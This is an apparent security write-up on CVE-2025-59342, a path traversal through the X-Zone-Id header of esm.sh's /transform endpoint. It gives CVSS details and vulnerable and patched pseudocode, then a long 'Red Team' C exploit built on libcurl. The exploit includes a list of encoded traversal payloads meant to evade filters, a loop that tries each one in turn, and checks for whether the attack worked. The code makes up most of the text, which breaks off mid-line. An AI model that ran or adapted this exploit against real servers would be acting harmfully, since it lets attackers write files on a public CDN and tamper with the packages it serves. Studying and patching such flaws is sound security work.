CVE-2025-59342

Executive Summary

CVE-2025-59342 is a path traversal vulnerability in esm.sh, a no-build content delivery network (CDN) for modern web development. Versions 136 and earlier are affected. The flaw resides in the handling of the X-Zone-Id HTTP header. The application uses the header value to construct a filesystem path without proper canonicalization or restriction to the intended storage directory. An attacker can supply ../ sequences in the X-Zone-Id header to write files to arbitrary directories on the server, potentially leading to system compromise or data tampering. The vulnerability is exploitable remotely without authentication, and public proof-of-concept code exists.

Supply Chain & Package Security

This vulnerability affects esm.sh, which is a CDN that serves JavaScript packages from npm. A successful exploit could allow an attacker to write malicious files to the server, potentially compromising the integrity of the packages served to downstream consumers. This could lead to a supply chain attack where malicious code is injected into JavaScript modules that are then served to end users.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The vulnerability is rated Medium due to the low complexity of exploitation and the potential for integrity impact, though confidentiality and availability are not directly affected.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-24) in the X-Zone-Id header processing. The esm.sh application uses the value of this header to determine the directory where transformed files are stored. The application fails to properly canonicalize the path or restrict it to the intended base directory. By injecting ../ sequences, an attacker can traverse up the directory tree and write files to arbitrary locations.

The vulnerable endpoint is /transform, which accepts POST requests with JSON data. The X-Zone-Id header is used to specify a subdirectory for the transformed output. The application constructs a filesystem path by concatenating the base storage directory with the header value. Without proper validation, an attacker can use ../../ to escape the base directory.

For example, a request with X-Zone-Id: ../../modules/transform/ would cause the application to write files to a directory outside the intended storage location, potentially overwriting critical system files or injecting malicious code.

Vulnerable vs. Patched Code

Vulnerable Code (<= v136): The vulnerable code likely looks similar to this (pseudocode):

// Vulnerable: No path canonicalization
const zoneId = req.headers['x-zone-id'];
const storagePath = path.join(BASE_DIR, zoneId);
// Write file to storagePath
fs.writeFileSync(path.join(storagePath, filename), content);

Patched Code (v136.1): The patched code adds path canonicalization and validation:

// Patched: Canonicalize and validate path
const zoneId = req.headers['x-zone-id'];
const safePath = path.resolve(BASE_DIR, zoneId);
// Ensure the resolved path is within BASE_DIR
if (!safePath.startsWith(BASE_DIR)) {
    throw new Error('Invalid path');
}
const storagePath = safePath;
// Write file to storagePath
fs.writeFileSync(path.join(storagePath, filename), content);

Exploitation & Lab Setup

Red Team

The following exploit code (C) demonstrates the vulnerability. It sends a POST request to the /transform endpoint with a crafted X-Zone-Id header containing path traversal sequences.

Usage:

1. Compile the exploit: gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl
2. Run the exploit: ./CVE-2025-59342 -u http://TARGET_IP:PORT

Exploit Code (exploit.c):

// Exploit Title:  esm-dev 136 - Path Traversal
// Date: 2025-07-11
// Exploit Author: Byte Reaper
// Vendor Homepage: https://github.com/esm-dev/esm.sh
// Software Link: https://github.com/esm-dev/esm.sh
// CVE-2025-59342
// File   : exploit.c
// Date   : 09/17/2025
// Target : esm-dev
// Version: 136
// Target Endpoint : /transform
// Target Header   :  X-Zone-Id
// Vuln :
// Run exploit :
//             # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl
//             # ./CVE-2025-59342

#include <curl/curl.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#include <unistd.h>
#include <sys/utsname.h>
#define FULL_URL 2500
#define P_Y      2000
#define POST_DATA 9000
int flagPort = 0;
int port = 80;
int selectPort = -1;
int verbose = 0;
int code = 1;
int found = 1;
int cF = 0;
int s = 0;
int bY = 0;
int sP = 0;
const char* cookies = NULL;
const char* payload = NULL;
void exit64bit()
{
    int n = 0;
    __asm__ volatile
        (
            "mov $0x4A, %%rax\n\t"
            "mov $0x1, %%rdi\n\t"
            "syscall\n\t"
            "test %%rax, %%rax\n\t"
            "jz .aD\n\t"
            "mov $0x0, %[var]\n\t"
            "jmp .finish\n\t"
            ".aD:\n\t"
            "mov $0x1, %[var]\n\t"
            ".finish:\n\t"
            : [var] "+r" (n)
            :
            : "rax",
            "rdi"
            );
    if (n == 0)
    {
        printf("\e[0;31m[-] sys_fsync syscall Faild.\n");
        fflush(stdout);
    }
    else if (n == 1)
    {
        printf("[+] sys_fsync syscall Success.\n");
    }

    __asm__ volatile
        (
            "mov $0x0, %%rdi\n\t"
            "mov $0x3C, %%rax\n\t"
            "syscall\n\t"
            :
            :
            : "rax",
              "rdi"
        );
}

struct Mem
{
    char* buffer;
    size_t len;
};
size_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata)
{
    size_t total = size * nmemb;
    struct Mem* m = (struct Mem*)userdata;
    char* tmp = realloc(m->buffer, m->len + total + 1);
    if (!tmp) return 0;
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

int checkLen(int len, char* buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
        return 0;

    }
    return 0;
}

const char* payloads[] =
{
    "..//..//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa//",
    "..../..../m.o.d.u.les/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/",
    "..\\/..\\/modules\\/transform\\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\\/",
    ".//.//m?odu?le?s/tran.sfo.rm/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/",
    "..%252f%252f..%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f",
    "%252e%252e%252f%252f%252e%252e%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f",
    "..%2f%2f..modules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f",
    "%2e%2e%2f%2f%2e%2emodules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f",
    "..%255c%255c..%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c",
    "%252e%252e%255c%255c%252e%252e%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c",
    "%u002e%u002e%u2215%u2215%u002e%u002e%u2215%u2215modules%u002e%u002etransform%u002e%u002ec245626ef6ca0fd9ee37759c5fac606c6ec99daa%u002e",
    "%u002e%u002e%u2216%u2216%u002e%u002e%u2216%u2216modules%u2216%u2216transform%u2216%u2216c245626ef6ca0fd9ee37759c5fac606c6ec99daa%u2216",
    "%e0%40%ae%e0%40%ae%e0%80%af%e0%80%af%e0%40%ae%e0%40%ae%e0%80%af%e0%80%afmodules%e0%80%af%e0%80%aftransform%e0%80%af%e0%80%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%e0%80%af",
    ".%00.//.%00.//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/",
    "..;//..;//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/",
    "%c0%2e%c0%2e%c0%af%c0%af%c0%2e%c0%2e%c0%af%c0%afmodules%c0%af%c0%aftransform%c0%af%c0%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%c0%af",
    NULL

};

static void request(const char *baseurl)
{
    CURL* curl = curl_easy_init();
    const char *mes3 = "\e[0;34m[+] Create Object CURL Success.\n";
    const char *mes4 = "\e[0;31m[-] Error Create Object CURL !\e[0m\n";
    size_t len3 = strlen(mes3);
    size_t len4 = strlen(mes4);
    __asm__ volatile
        (
            "cmp $0x0,    %[curlO]\n\t"
            "je .donV\n\t"
            ".erD:\n\t"
            "mov $0x1,    %%rax\n\t"
            "mov $0x1,    %%rdi\n\t"
            "mov %[msg], %%rsi\n\t"
            "mov %[len], %%rdx\n\t"
            "syscall\n\t"
            "jmp .finishC\n\t"
            ".donV:\n\t"
            "mov $0x1,    %%rax\n\t"
            "mov $0x1,    %%rdi\n\t"
            "mov %[msg1], %%rsi\n\t"
            "mov %[len1], %%rdx\n\t"
            "syscall\n\t"
            "xor %%rdi,   %%rdi\n\t"
            "mov $0x3C,   %%rax\n\t"
            "syscall\n\t"
            ".finishC:\n\t"
            :
            : [curlO] "r" (curl),
              [msg]   "r" ((const char *)mes3),
              [len]   "r" ((long)len3),
              [msg1]  "r" ((const char*)mes4),
              [len1]  "r" ((long)len4)
            : "rax",
              "rdi",
              "rsi",
              "rdx",
              "rcx",
              "r11",
              "memory"
        );
    struct Mem response;
    CURLcode res;
    response.buffer = NULL;
    response.len = 0;
    const char* mes5 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n";
    size_t len5 = strlen(mes5);
    __asm__ volatile (
        "test %[buffer], %[buffer]\n\t"
        "jz  L_print_clean\n\t"
        "L_continue:\n\t"
        "jmp L_done\n\t"
        "L_print_clean:\n\t"
        "mov $0x1, %%rax\n\t"
        "mov $0x1, %%rdi\n\t"
        "movq %[msg13], %%rsi\n\t"
        "mov %[len13], %%rdx\n\t"
        "syscall\n\t"
        "L_done:\n\t"
        :
        : [buffer] "r" ((const char*)response.buffer),
        [msg13]    "r" (mes5),
        [len13]  "r" (len5)
        : "rax",
        "rdi",
        "rsi",
        "rdx",
        "rcx",
        "r11",
        "memory"
        );
    char full[FULL_URL];

    if (flagPort != 0)
    {
        const char* mes8 = "\e[0;31m[-] Select Port is NULL !\e[0m\n";
        size_t len8 = strlen(mes8);
        __asm__ volatile (
            "test %[var22], %[var22]\n\t"
            "jnz L_finish\n\t"
            "mov $1, %%rax\n\t"
            "mov $1, %%rdi\n\t"
            "mov %[msg13], %%rsi\n\t"
            "mov %[len13], %%rdx\n\t"
            "syscall\n\t"
            "xor %%rdi, %%rdi\n\t"
            "mov $0x3C, %%rax\n\t"
            "syscall\n\t"
            "L_finish:\n\t"
            :
            : [var22] "r" (selectPort),
              [msg13]  "r" (mes8),
              [len13] "r" (len8)
            : "rax",
              "rdi",
              "rsi",
              "rdx",
              "rcx",
              "r11",
              "memory"
            );
        printf("\e[0;34m[+] Port Select  : %d\e[0m\n",
            selectPort);
        int len1 = snprintf(full,
            FULL_URL,
            "%s:%d/transform",
            baseurl,selectPort);
        if (checkLen(len1,
            full,
            FULL_URL) == 1)
        {
            fprintf(stderr,
                "\e[0;31m[-] Error write base url !\e[0m\n");
            exit64bit();
        }
        printf("\e[0;34m[+] Write base URL success.\e[0m\n");
    }
    else if (flagPort == 0)
    {
        printf("\e[0;34m[+] Auto port : %d\e[0m\n", port);
        int len2 = snprintf(full,
            FULL_URL,
            "%s:%d/transform",
            baseurl,
            port);
        if (checkLen(len2, full, FULL_URL) == 1)
        {
            fprintf(stderr,
                "\e[0;31m[-] Error write base url !\e[0m\n");
            exit64bit();
        }
        printf("\e[0;34m[+] Write base URL success.\e[0m\n");
    }
    printf("[+] Base URL : %s\n", baseurl);
    printf("[+] Result full url : %s\n", full);
    char post[POST_DATA];
    int len9 = snprintf(post, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}");
    if (checkLen(len9, post, POST_DATA) == 1)
    {
        fprintf(stderr,
            "[-] Error write post data !\e[0m\n");
        exit64bit();
    }
    printf("\e[0;34m[+] Write Post data Success.\e[0m\n");
    printf("\e[0;35m[+] Post data :===================================\e[0m\n");
    printf("%s\n", post);
    printf("\e[0;32m[+] Size : %d\e[0m\n", POST_DATA);
    printf("\e[0;32m[+] Len  : %zu\e[0m\n", strlen(post));
    printf("\e[0;35m==================================================\e[0m\n");
    curl_easy_setopt(curl,
        CURLOPT_URL,
        full);
    curl_easy_setopt(curl,
        CURLOPT_ACCEPT_ENCODING,
        "");
    curl_easy_setopt(curl,
        CURLOPT_FOLLOWLOCATION,
        1L);
    if (cF)
    {

        curl_easy_setopt(curl,
            CURLOPT_COOKIEFILE,
            cookies);
        curl_easy_setopt(curl,
            CURLOPT_COOKIEJAR,
            cookies);

    }
    curl_easy_setopt(curl,
        CURLOPT_POST,
        1L);
    curl_easy_setopt(curl,
        CURLOPT_POSTFIELDS,
        post);
    curl_easy_setopt(curl,
        CURLOPT_POSTFIELDSIZE,
        (long)strlen(post));
    curl_easy_setopt(curl,
        CURLOPT_WRITEFUNCTION,
        write_cb);
    curl_easy_setopt(curl,
        CURLOPT_WRITEDATA,
        &response);
    curl_easy_setopt(curl,
        CURLOPT_CONNECTTIMEOUT,
        5L);
    struct timespec rqtp, rmtp;
    rqtp.tv_sec = 1;
    rqtp.tv_nsec = 500000000;
    register long r10R asm("r10");
    r10R = 0;
    printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
        rqtp.tv_sec, rqtp.tv_nsec);
    int ret;
    __asm__ volatile
        (
            "syscall"
            : "=a"(ret)
            : "a"(0xE6),
              "D"((long)0),
              "S"((long)0),
              "d"(&rqtp),
              "r"(r10R)
            : "rcx",
              "r11",
              "memory"
            );
    curl_easy_setopt(curl,
        CURLOPT_TIMEOUT,
        10L);
    curl_easy_setopt(curl,
        CURLOPT_SSL_VERIFYPEER,
        0L);
    curl_easy_setopt(curl,
        CURLOPT_SSL_VERIFYHOST,
        0L);
    struct curl_slist* headers = NULL;
    headers = curl_slist_append(headers,
        "User-Agent: Den/8.7.1");
    headers = curl_slist_append(headers,
        "Accept: */*");
    headers = curl_slist_append(headers,
        "Connection: keep-alive");
    headers = curl_slist_append(headers,
        "Content-Type: application/json");
    headers = curl_slist_append(headers,
        "Referer: http://localhost:9999/");
    if (s!=0)
    {
        printf("[+] Your Payload : %s\n", payload);
        printf("\e[0;33m[+] Checking payload...\n");

        if (strstr(payload, "../") || strstr(payload, "..\\"))
        {
            printf("\e[0;36m[+] Detected path traversal \"../\" in payload.\n");
        }
        else
        {
            printf("\e[0;31m[-] No path traversal detected. Please provide a valid payload.\n");
            exit64bit();
        }

        if (strstr(payload, "/transform"))
        {
            printf("\e[0;36m[+] Detected endpoint '/transform' in payload.\n");
        }
        else
        {
            printf("\e[0;31m[-] Endpoint '/transform' not detected in payload!\n");
            exit64bit();;
        }

    }

    else
    {
        headers = curl_slist_append(headers,
            "X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/"); //auto payload
        printf("[+] Auto payload ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/.\n");
    }
    curl_easy_setopt(curl,
        CURLOPT_HTTPHEADER,
        headers);
    if (verbose)
    {
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
    }
    res = curl_easy_perform(curl);
    curl_slist_free_all(headers);
    if (res == CURLE_OK)
    {
        printf("\e[1;36m[+] Request sent successfully\e[0m\n");
        long httpcode;
        double timeT;
        double timeR;
        char* urlD = NULL;
        curl_easy_getinfo(curl,
            CURLINFO_RESPONSE_CODE,
            &httpcode);
        curl_easy_getinfo(curl,
            CURLINFO_TOTAL_TIME,
            &timeT);
        curl_easy_getinfo(curl,
            CURLINFO_REDIRECT_TIME,
            &timeR);
        curl_easy_getinfo(curl,
            CURLINFO_REDIRECT_URL,
            &urlD);
        printf("\e[0;32m[+] Delayed response : %f\e[0m\n", timeT);
        printf("\e[0;34m[+] TIME REDIRECT: %.1f\e[0m\n", timeR);
        if (urlD == NULL)
        {
            printf("\e[0;36m[+] Not REDIRECT Found.\e[0m\n");
        }
        else
        {
            printf("\e[0;34m[+] REDIRECT To : %s\e[0m\n", urlD);
        }

        printf("\e[0;32m[+] HTTP CODE : %ld\n", httpcode);
        if (response.buffer != NULL)
        {
            printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n");
            printf("%s\n", response.buffer);
            printf("\e[0;32m[+] Size Pointer response : %d\e[0m\n", sizeof(response.buffer));
            printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len);
            printf("\e[0;35m==========================================================================================================\e[0m\n");
        }
        else
        {
            printf("\e[0;31m[-] Error show buffer : NULL response !\n");
            __asm__ volatile
            (
                    "mov $0x0, %%rdi\n\t"
                    "mov $0xE7, %%rax\n\t"
                    "syscall\n\t"
                    :
                    :
                    :"rax",
                     "rdi"
             );
        }
        printf("===========================================================================================================\n");
        if (httpcode >= 200 && httpcode < 300)
        {
            const char* words[] =
            {
                "Exploit!",
                "cve.js",
                "mjs",
                "console",
                "code",
                "map",
                "AAAA",
                "IAAI",
                "names",
                NULL
            };
            printf("\e[0;32m[+] Http code (200 - 300)\e[0m\n");
            printf("\e[0;33m[+] Check Word in response...\e[0m\n");

            for (int u = 0; words[u] != NULL; u++)
            {
                code = 1;
                if (strstr(response.buffer, words[u]) != NULL)
                {
                    printf("[+] Word found in response : %s\n",
                        words[u]);
                    __asm__ volatile
                        (
                            "mov $0x0, %[var12]\n\t"
                            : [var12] "=r" (found)
                            :
                            :
                            );
                    break;
                }
            }
            if (found == 0)
            {
                printf("\e[0;36m[+] Words were found in the server's response, indicating that the exploitation was likely successful.\e[0m\n");
            }
            const char *mes11 = "\e[0;31m[-] Not found words in response !\e[0m\n";
            size_t len11 = strlen(mes11);
            __asm__ volatile
             (
                 "test %[var11], %[var11]\n"
                 "jnz notZero\n\t"
                 "jmp finish11\n\t"
                 "notZero:\n\t"
                 "mov $0x1, %%rax\n\t"
                 "mov $0x1, %%rdi\n\t"
                 "movq %[size11], %%rsi\n\t"
                 "mov %[len11], %%rdx\n\t"
                 "syscall\n\t"
                 "finish11:\n\t"
                :
                : [var11] "r" ((int)found),
                  [size11] "r" ((const char *)mes11),
                  [len11] "r" (len11)
                :"rax",
                 "rdi",
                 "rsi",
                 "rdx",
                 "r11",
                 "rcx",
                 "memory"

             );


        }
        else
        {
            printf("\e[0;31m[-] Http code Not range (200 - 300)\e[0m\n");
            printf("\e[0;31m[-] Please check url and port.\e[0m\n");
        }
        printf("\e[0;35m[+] Result Exploit :\e[0m\n");

        if (code == 1 && found == 0)
        {
            printf("\e[0;36m[+] HTTP code positive and expected word found: Exploit succeeded (CVE-2025-59342).\e[0m\n");
        }
        else if (code == 1 && found != 0)
        {
            printf("\e[0;36m[+] HTTP code positive but expected word not found: Partial success (CVE-2025-59342).\e[0m\n");
        }
        else if (code != 1 && found == 0)
        {
            printf("\e[0;31m[-] HTTP code negative but word found: Unexpected result (CVE-2025-59342).\e[0m\n");
        }
        else
        {
            printf("\e[0;31m[-] Exploitation did not succeed.\e[0m\n");
        }

    }
    else
    {
        printf("\e[0;31m[-] Error Send Request !\e[0m\n");
        printf("\e[0;31m[-] Error : %s\n", curl_easy_strerror(res));
        exit64bit();
    }
    curl_easy_cleanup(curl);
    free(response.buffer);
}

void bypass(const char* urlB)
{
    struct Mem responseBypass;
    responseBypass.buffer = NULL;
    responseBypass.len = 0;

    const char* mes14 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n";
    size_t len14 = strlen(mes14);
    __asm__ volatile (
        "test %[buffer1], %[buffer1]\n\t"
        "jz  L_print_clean1\n\t"
        "L_continue1:\n\t"
        "jmp L_done1\n\t"
        "L_print_clean1:\n\t"
        "mov $0x1, %%rax\n\t"
        "mov $0x1, %%rdi\n\t"
        "movq %[msg14], %%rsi\n\t"
        "mov %[len14], %%rdx\n\t"
        "syscall\n\t"
        "L_done1:\n\t"
        :
        : [buffer1] "r" ((const char*)responseBypass.buffer),
          [msg14]    "r" (mes14),
          [len14]  "r" (len14)
        :   "rax",
            "rdi",
            "rsi",
            "rdx",
            "rcx",
            "r11",
            "memory"
        );
    CURL* curl = curl_easy_init();
    if (curl == NULL)
    {
        fprintf(stderr,"[-] Error Create Object CURL !\n");
        exit64bit();
    }
    CURLcode res1;
    char postData[POST_DATA];
    int len15 = snprintf(postData,
        POST_DATA,
        "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}");
    if (checkLen(len15,
        postData,
        POST_DATA) == 1)
    {
        fprintf(stderr,
            "[-] Error write post data !\e[0m\n");
        exit64bit();
    }
    if (curl)
    {
        for (int i = 0; payloads[i] != NULL; i++)
        {
            struct curl_slist* h = NULL;
            char fullURL[FULL_URL];
            snprintf(fullURL,
                FULL_URL,
                "%s/transform",
                urlB);
            char hLine[1024];
            snprintf(hLine,
                1024,
                "X-Zone-Id: %s",
                payloads[i]);

            h = curl_slist_append(h, hLine);
            h = curl_slist_append(h,
                "User-Agent: Den/8.7.1");
            h = curl_slist_append(h,
                "Content-Type: application/json");
            curl_easy_setopt(curl,
                CURLOPT_URL,
                fullURL);
            curl_easy_setopt(curl,
                CURLOPT_HTTPHEADER,
                h);
            if (cF)
            {

                curl_easy_setopt(curl,
                    CURLOPT_COOKIEFILE,
                    cookies);
                curl_easy_setopt(curl,
                    CURLOPT_COOKIEJAR,
                    cookies);

            }
            curl_easy_setopt(curl,
                CURLOPT_POSTFIELDS,
                postData);
            curl_easy_setopt(curl,
                CURLOPT_POSTFIELDSIZE,
                (long)strlen(postData));
            curl_easy_setopt(curl,
                CURLOPT_WRITEFUNCTION,
                write_cb);
            curl_easy_setopt(curl,
                CURLOPT_WRITEDATA,
                &responseBypass);
            struct timespec rqtp, rmtp;
            rqtp.tv_sec = 1;
            rqtp.tv_nsec = 500000000;
            register long r10R asm("r10");
            r10R = 0;
            printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
                rqtp.tv_sec, rqtp.tv_nsec);
            int ret;
            __asm__ volatile
                (
                    "syscall"
                    : "=a"(ret)
                    : "a"(0xE6),
                    "D"((long)0),
                    "S"((long)0),
                    "d"(&rqtp),
                    "r"(r10R)
                    : "rcx",
                    "r11",
                    "memory"
                    );
            curl_easy_setopt(curl,
                CURLOPT_TIMEOUT,
                10L);
            curl_easy_setopt(curl,
                CURLOPT_SSL_VERIFYPEER,
                0L);
            curl_easy_setopt(curl,
                CURLOPT_SSL_VERIFYHOST,
                0L);
            res1 = curl_easy_perform(curl);
            curl_slist_free_all(h);
            if (res1 == CURLE_OK)
            {
                long httpC;
                printf("---------------------------------------------------------------------------------------------------\n");
                printf("\e[1;36m[+] Request sent successfully\e[0m\n");
                printf("[+] Payload Test : %s\n", payloads[i]);

                curl_easy_getinfo(curl,
                    CURLINFO_RESPONSE_CODE,
                    &httpC);
                printf("[+] Http code : %ld\n",
                    httpC);

                if (responseBypass.buffer != NULL)
                {
                    printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n");
                    printf("%s\n", responseBypass.buffer);
                    printf("\e[0;35m==========================================================================================================\e[0m\n");
                    if (httpC == 501 || strstr(responseBypass.buffer,
                        "Unsupported method") != NULL)
                    {
                        printf("[-] Please check target URL, The server does not support the

{/* [Security Hash: 4D6DE0A6DB8CCA4C2CB97CD4] */}